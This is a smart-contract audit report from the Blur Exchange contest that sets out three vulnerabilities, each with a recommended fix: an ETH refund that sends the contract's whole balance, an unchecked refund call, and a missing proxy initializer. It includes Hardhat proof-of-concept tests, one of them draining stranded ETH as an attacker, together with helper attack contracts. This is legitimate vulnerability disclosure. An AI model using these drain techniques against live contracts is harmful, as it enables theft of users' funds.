Blur Exchange contest - adriro's results

Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L219

Vulnerability details

Exchange refund operation will return all ETH stored in the contract instead of the remaining amount from the exchange operation

The function that refunds remaining ETH in the Exchange contract will send back all the balance present in the contract instead of just the remaining amount after the exchange(s) operation(s) happen.

Impact

The _returnDust() internal function is called in the execute and bulkExecute functions of the Exchange contract to return the sender any ETH that is leftover after the exchanges happened.

This function uses a low level call using inline assembly to refund the caller if the storage variable remainingETH (which tracks the consumption of ETH) is greater than 0. But, instead of using this variable as the amount to be refunded, it calls selfbalance() which will return the total ETH balance held in the contract.

This issue can be used to withdraw all the ETH stored in the contract: as long as the refund amount is at least 1 wei the refund process will still send all the contract's balance.

Combining this issue with other situations that may cause ETH to be stored in the contract (see associated report "ETH payments may fail to be refunded and will be lost in the Exchange contract") can lead an attacker to steal funds, as shown in the following PoC.

PoC

The following test first sets the scenario by using a failed bulk purchase operation that fails to be refunded back to the caller. This leaves the ETH payment in the Exchange contract.

The attacker (here represented by the thirdParty signer) uses a bulk exchange operation that will fail on purpose and send a payment of 1 wei. _remainingETH will be 1 wei, but the refund operation will send all the ETH held in the contract, which includes the lost payment from the previous operation.

it('steal eth in exchange via refund', async function() {
  // Simulate a failed operation that fails to refund ETH
  const buyerContract = (await simpleDeploy('NftBuyer', [exchange.address])) as any;
  
  // sell price is 2 ETH
  sell = generateOrder(alice, {
    side: Side.Sell,
    tokenId,
    paymentToken: ethers.constants.AddressZero,
    price: ethers.utils.parseEther("2"),
    fees: [],
  });
  
  // buyer wants to buy it for 1 ETH, which will fail the operation
  const amount = ethers.utils.parseEther("1");
  buy = generateOrder(buyerContract, {
    side: Side.Buy,
    tokenId,
    price: amount,
    paymentToken: ethers.constants.AddressZero,
    fees: [],
  });
  
  sellInput = await sell.pack();
  buyInput = await buy.packNoSigs();
  const executions = [{ sell: sellInput, buy: buyInput }];

  await waitForTx(
    buyerContract.buyNftBulk(executions, { value: amount })
  );
  
  // ETH is in exchange
  expect(await hre.ethers.provider.getBalance(exchange.address)).to.eq(amount);
  
  // Now thirdparty wants to take advantage of this, he executes an order that will also fail and sends 1 wei so the refund process is triggered
  const thirdPartyBuy = generateOrder(thirdParty, {
    side: Side.Buy,
    tokenId,
    price: 1,
    paymentToken: ethers.constants.AddressZero,
    fees: [],
  });
  
  const thirdPartyBuyInput = await thirdPartyBuy.pack()
  const thirdPartyExecutions = [{ sell: sellInput, buy: thirdPartyBuyInput }];
  
  // ETH present in the exchange is sent to third party
  await expect(
    () => exchange.connect(thirdParty).bulkExecute(thirdPartyExecutions, { value: 1 })
  ).to.changeEtherBalance(thirdParty, amount);
                  
  // Exchange balance is 0
  expect(await hre.ethers.provider.getBalance(exchange.address)).to.eq(0);
});

NftBuyer contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "../Exchange.sol";
import "../lib/OrderStructs.sol";

contract NftBuyer is IERC721Receiver {
    Exchange private immutable exchange;

    constructor(Exchange _exchange) {
        exchange = _exchange;
    }

    function buyNft(Input calldata sell, Input calldata buy) external payable {
        exchange.execute{value: msg.value}(sell, buy);
    }
    function buyNftBulk(Execution[] calldata executions) external payable {
        exchange.bulkExecute{value: msg.value}(executions);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {
        // simulate a high gas operation
    }
}

Recommendation

Use _remainingETH instead of selfbalance() in the _returnDust() function:

assembly {
    if gt(_remainingETH, 0) {
        let callStatus := call(
            gas(),
            caller(),
            _remainingETH,
            0,
            0,
            0,
            0
        )
    }
}

Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L216

Vulnerability details

ETH payments may fail to be refunded and will be lost in the Exchange contract

The function present in the Exchange contract that is in charge of refunding any remaining ETH after a single/bulk exchange doesn't check the return value of the ETH transfer operation and may fail while the overall process succeeds.

Impact

The _returnDust() internal function is called in the execute and bulkExecute functions of the Exchange contract to return the sender any ETH that is leftover after the exchanges happened.

This function uses a low level call using inline assembly to refund the caller if the storage variable remainingETH (which tracks the consumption of ETH) is greater than 0. The issue is that this function doesn't check if the low level call succeeded, the result of the call is stored in the variable callStatus but no further is done using this value.

If the caller is a contract, there are various reasons why this call may fail. The calling contract may fail to implement the receive/fallback callbacks, have an error during execution of the callback, or simply run out of gas. Any of these scenarios may cause the low level call to fail, the ETH won't be refunded and will be lost in the Exchange contract.

PoC

This test reproduces the issue using a simple contract that initiates the purchase for demonstration purposes.

it('fails to refund eth', async function() {
  const buyerContract = (await simpleDeploy('NftBuyer', [exchange.address])) as any;
  const price = ethers.utils.parseEther("1");

  sell = generateOrder(alice, {
    side: Side.Sell,
    tokenId,
    paymentToken: ethers.constants.AddressZero,
    price,
    fees: [],
  });

  buy = generateOrder(buyerContract, {
    side: Side.Buy,
    tokenId,
    price,
    paymentToken: ethers.constants.AddressZero,
    fees: [],
  });

  sellInput = await sell.pack();
  buyInput = await buy.packNoSigs();

  // buyer sends more eth than needed (double)
  await waitForTx(
    buyerContract.buyNft(sellInput, buyInput, { value: price.mul(2) })
  );
  
  // we bought the nft
  expect(await mockERC721.balanceOf(buyerContract.address)).to.eq(1);
  
  // ETH not refunded to buyer contract
  expect(await hre.ethers.provider.getBalance(buyerContract.address)).to.eq(0);
  
  // ETH is in exchange
  expect(await hre.ethers.provider.getBalance(exchange.address)).to.eq(price);
});

NftBuyer contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "../Exchange.sol";
import "../lib/OrderStructs.sol";

contract NftBuyer is IERC721Receiver {
    Exchange private immutable exchange;

    constructor(Exchange _exchange) {
        exchange = _exchange;
    }

    function buyNft(Input calldata sell, Input calldata buy) external payable {
        exchange.execute{value: msg.value}(sell, buy);
    }
    function buyNftBulk(Execution[] calldata executions) external payable {
        exchange.bulkExecute{value: msg.value}(executions);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {
        // simulate a high gas operation
        while(true) {}
    }
}

Recommendation

Verify the return value of the low level call in the _returnDust() function. If the result value callStatus isn't 1 (success) then revert the whole operation.

Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Pool.sol#L13 https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Pool.sol#L15

Vulnerability details

Pool contract uses proxies but doesn't implement the initializer function

The Pool contract uses proxies (OpenZeppelin UUPSUpgradeable) but doesn't include an initializer function to properly initialize the contract.

Impact

The Pool contract inherits from OwnableUpgradeable to handle access protection for the contract but fails to initialize it, because the contract doesn't even have an initializer.

This will cause the internal _owner storage variable to remain uninitialized, its value will be empty/zero, and will leave the contract without owner.

This is concerning in particular because the function that authorizes an upgrade _authorizeUpgrade is owner protected using the onlyOwner modifier, which will always be false since the owner is not initialized (owner is address(0)) and will prevent the contract from being upgraded.

PoC

The following test uses the hardhat plugin @openzeppelin/hardhat-upgrades to simplify the code.

Note: PoolV2 here is just the same code as the Pool contract with an added function, its contents aren't relevant to the test.

const { expect } = require("chai");
const { ethers, upgrades } = require("hardhat");

describe.only("Pool", function () {
  it("deploys proxy", async function() {
    const Pool = await ethers.getContractFactory("Pool");
    const PoolV2 = await ethers.getContractFactory("PoolV2");

    const pool = await upgrades.deployProxy(Pool, []);
    await pool.deployed();

    // pool has no owner
    expect(await pool.owner()).to.eq(ethers.constants.AddressZero);

    // pool can't be upgraded
    await expect(
      upgrades.upgradeProxy(pool.address, PoolV2)
    ).to.be.revertedWith("Ownable: caller is not the owner");
  });
});

Recommendation

Add a proper initializer to the contract that calls the OwnableUpgradeable initializer:

function initialize() external initializer {
    __Ownable_init();
}

Also, don't forget to lock initializers in the implementation contract:

constructor() {
    _disableInitializers();
}